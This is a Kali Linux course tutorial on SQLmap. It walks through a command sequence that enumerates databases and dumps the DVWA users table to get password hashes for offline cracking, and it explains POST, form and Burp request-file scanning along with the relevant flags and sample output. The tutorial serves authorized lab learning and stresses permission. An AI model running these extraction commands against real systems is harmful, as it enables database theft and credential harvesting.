This article is a practical tutorial on SQLmap, an automated SQL injection detection and exploitation tool, as part of a 180-day Kali Linux cybersecurity course. It explains how SQLmap works, demonstrates its use on DVWA (Damn Vulnerable Web Application) in an authorized lab environment, and teaches the commands, flags, and professional workflows needed to extract databases, tables, and credentials systematically. The article emphasizes that SQLmap must only be used on authorized targets and that understanding manual SQL injection first is essential before relying on automation.
- SQLmap's Five Automatic Injection Detection TypesSQLmap identifies boolean-based blind injection (true/false response differences), time-based blind injection (response delays reveal data bit by bit), error-based injection (database errors leak information), UNION query injection (appends SELECT statements to extract data), and stacked queries (semicolon-separated statement injection). It supports MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and 20+ other database systems, automatically determining which method works against the target.
- Professional Workflow: Manual Confirmation FirstThe article establishes that professionals must manually confirm SQL injection with a single quote and boolean condition in Burp Repeater before using SQLmap. This prevents false positives and ensures the operator understands what they are exploiting. Only after manual confirmation should SQLmap be deployed for systematic extraction, separating professionals who can adapt when automation fails from those lost without it.
- Four-Command Extraction Sequence from Zero to DumpThe article demonstrates a concrete workflow on DVWA: (1) sqlmap -r dvwa_sqli.txt --dbs --batch to enumerate databases, (2) sqlmap -r dvwa_sqli.txt -D dvwa --tables --batch to list tables, (3) sqlmap -r dvwa_sqli.txt -D dvwa -T users --columns --batch to list columns, and (4) sqlmap -r dvwa_sqli.txt -D dvwa -T users --dump --batch to extract all user records. This sequence completes in under 90 seconds on a confirmed-vulnerable endpoint, yielding usernames and MD5 password hashes ready for offline cracking with John the Ripper.
- Burp Suite Request File Method (-r Flag)The article identifies saving a Burp request with -r as the professional standard for complex authenticated requests with POST bodies, multiple cookies, or custom headers. SQLmap reads the saved file and automatically handles all headers, cookies, and parameters exactly as captured, eliminating manual specification errors that occur when typing commands with --cookie and --data flags. This is the most reliable approach for real assessments.
- Critical Flags: Target, Extraction, and BehaviourTarget flags include -u for URL and -r for Burp file (preferred). Extraction flags follow the chain: --dbs (enumerate databases), -D name (select database), --tables (list tables), -T name (select table), --dump (extract data). Behaviour flags include --batch (non-interactive mode, essential), --level 1-5 (test depth, default 1), --risk 1-3 (payload aggression, with risk 3 including UPDATE statements that modify records). Level and risk expand coverage at the cost of speed and database modification risk.
- POST Forms and Parameter-Specific TestingSQLmap handles POST form scanning with --data="username=admin&password=test" flag, auto-detects and tests all HTML forms on a page with --forms, and tests only specific parameters using -p paramname to skip irrelevant ones. These flags allow SQLmap to adapt to different request types beyond simple GET URL scans.
- Output Interpretation and Automatic Result StorageThe article explains that SQLmap output indicates whether a parameter is dynamic (affects response), whether injection is detected with type identified (e.g., 'AND boolean-based blind' or 'MySQL >= 5.0 UNION query'), and injection point locations. All extracted data is automatically saved to /root/.sqlmap/output/[target-ip]/dump/[database]/[table].csv, eliminating manual note-taking and ensuring results persist after scanning.
- Legal and Ethical Authorization RequirementsThe article repeatedly emphasizes that SQLmap generates high-volume HTTP traffic visible in server logs and IDS, making it detectable, and must only be used on authorized targets: owned systems, explicit written authorization, DVWA home lab, TryHackMe, HackTheBox, or authorized bug bounty targets where automated scanning is in scope. Unauthorized use is illegal regardless of intent.
Bottom line: SQLmap automates SQL injection extraction but is not a substitute for understanding manual SQL injection—professionals must manually confirm vulnerabilities first, then use SQLmap's systematic extraction flags (-r file, --dbs, -D/-T, --dump, --batch) to dump credentials and database contents from authorized targets in minutes. Always prioritize the Burp request file (-r) method for complex authenticated requests, verify authorization in writing before scanning, and understand that automation acc
Day 7 / 180 — 3.9%
✅ D2:Netcat
✅ D3:Gobuster
✅ D4:Hydra
✅ D5:John
✅ D6:Nikto
▶ D7:SQLmap
D8:Wireshark
D9–180:···
Day 6 (Nikto) flagged a potential SQL injection endpoint. Day 7 teaches you to confirm it and pull every credential, every table, and every piece of data from the database in minutes. SQLmap automates what would take hours of manual UNION payload crafting — and on a confirmed-vulnerable DVWA endpoint, a single three-command sequence goes from zero to a full credential dump in under 90 seconds. Understanding what it is doing beneath the surface is what separates a professional who can adapt when automation fails from one who is lost without it, thats exactly what we will learn today in SQLMAP tutorial
Day 7 covers SQLmap Tutorial completely — installation, basic URL scanning, the full DVWA walkthrough, using Burp Suite request files (the professional method), every important flag, POST form testing, and the command patterns you will use in every authorised web application assessment.
What Is SQLmap & How It Works
SQLmap is an open-source automated SQL injection detection and exploitation tool. It works by sending crafted HTTP requests to a target parameter, analysing the database’s response behaviour to determine whether injection is possible, then systematically extracting the database schema and data using the confirmed injection channel.
It detects five injection types automatically: boolean-based blind (true/false responses differ), time-based blind (delays reveal data bit by bit), error-based (database errors leak data), UNION query (appends SELECT to extract data), and stacked queries (semicolon-separated statement injection). It supports MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and 20+ other database systems.
Install & Verify SQLmap on Kali Linux
sqlmap –version
1.8.#stable — https://sqlmap.org
# Update to latest version:
sqlmap –update
# Install if missing:
sudo apt install sqlmap -y
# View all options:
sqlmap -hh # full help (vs -h for short help)
Basic URL Scan — Your First SQLmap Commands
sqlmap -u “http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” \
–cookie=“PHPSESSID=abc123; security=low” –batch
# SQLmap tests the ‘id’ parameter and reports injection type found
# ─── List all databases ──────────────────────────────────────────
sqlmap -u “…?id=1&Submit=Submit” –cookie=“…” –dbs –batch
[*] available databases [2]:
[*] dvwa
[*] information_schema
Full DVWA Walkthrough — Zero to Credential Dump
The complete four-command sequence that takes you from detecting an injection to extracting usernames and password hashes. All commands target DVWA in your authorised home lab.
# 1. Detect injection + enumerate databases
sqlmap -r dvwa_sqli.txt –dbs –batch
# 2. List tables in target database
sqlmap -r dvwa_sqli.txt -D dvwa –tables –batch
# 3. List columns in users table
sqlmap -r dvwa_sqli.txt -D dvwa -T users –columns –batch
# 4. Dump the entire users table
sqlmap -r dvwa_sqli.txt -D dvwa -T users –dump –batch
Burp Suite Request File (-r) — The Professional Method
For complex authenticated requests with POST bodies, multiple cookies, or custom headers — saving the request from Burp and passing it with -r is the most reliable approach. SQLmap reads every header, cookie, and parameter exactly as captured, removing manual specification errors.
# Proxy → HTTP History → right-click target request
# → Save item → save as dvwa_sqli.txt
# ─── Contents of saved request file ─────────────────────────────
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.101
Cookie: PHPSESSID=abc123; security=low
User-Agent: Mozilla/5.0 …
# ─── Run SQLmap with the file — all headers handled automatically
sqlmap -r dvwa_sqli.txt –dbs –batch
sqlmap -r dvwa_sqli.txt -D dvwa -T users –dump –batch
All Important Flags — Explained
-r file Burp request file (preferred)
-p param Test specific parameter only
–forms Auto-detect & test HTML forms
–data=str POST body string
-D name Select database
–tables List tables in database
-T name Select table
–columns List columns in table
–dump Extract all table data
–dump-all Dump entire database
–level=1-5 Test depth (default:1)
–risk=1-3 Payload aggression
–threads=N Concurrent requests
–timeout=N Seconds per request
–cookie=str Session cookie
–proxy=URL Route via Burp
level 2 + cookies tested
level 3 + HTTP User-Agent header
level 4 + Referer header
level 5 + HTTP Host header
──────────────────────────
risk 1 Safe payloads (default)
risk 2 + heavy time-based
risk 3 + UPDATE statements ⚠️
POST Forms, Authentication & Advanced Scans
sqlmap -u “http://192.168.56.101/login.php” \
–data=“username=admin&password=test” –dbs –batch
# ─── Auto-detect and test all forms on a page ────────────────────
sqlmap -u “http://192.168.56.101/dvwa/” –forms –dbs –batch
# ─── Test specific parameter only ────────────────────────────────
sqlmap -u “http://target.com/search?q=test&page=1” \
-p q –dbs –batch # only test ‘q’, skip ‘page’
# ─── Thorough scan (slower, more injection types found) ──────────
sqlmap -r request.txt –level=5 –risk=2 –dbs –batch
# ─── Route through Burp (see every request in real time) ─────────
sqlmap -r request.txt –proxy=http://127.0.0.1:8080 –dbs –batch
Reading SQLmap Output — What Each Line Means
[INFO] testing if GET parameter ‘id’ is dynamic ← checks if param affects response
[INFO] GET parameter ‘id’ appears to be dynamic ← good — varies with input
[INFO] heuristic detects web page charset as ‘UTF-8’
[WARNING] GET parameter ‘id’ does not seem to be injectable ← not injectable
# OR — when injectable:
[INFO] GET parameter ‘id’ is ‘AND boolean-based blind’ injectable
[INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 UNION query’ injectable
[INFO] sqlmap identified the following injection point(s)…
# Results saved to:
/root/.sqlmap/output/192.168.56.101/dump/dvwa/users.csv
# SQLmap saves ALL results automatically — check this folder after every scan
📋 SQLmap Command Reference Card
sqlmap -r req.txt -D db –tables –batch
sqlmap -r req.txt -D db -T tbl –dump –batch
–cookie=“PHPSESSID=abc” \
–dbs –batch
–data=“user=a&pass=b” \
–dbs –batch
→ [target-ip]/dump/
→ [database]/[table].csv
All dumps auto-saved here
Frequently Asked Questions – SQLMAP Tutorial
SQLmap is automation, not magic. The professionals who use it best understand manual SQL injection first — they recognise what SQLmap is doing when it works, and they know what to do manually when it doesn’t. Build the manual understanding from the DVWA SQL Injection series before relying on this tool in a real assessment. Automation accelerates what you already know; it does not replace the knowledge.

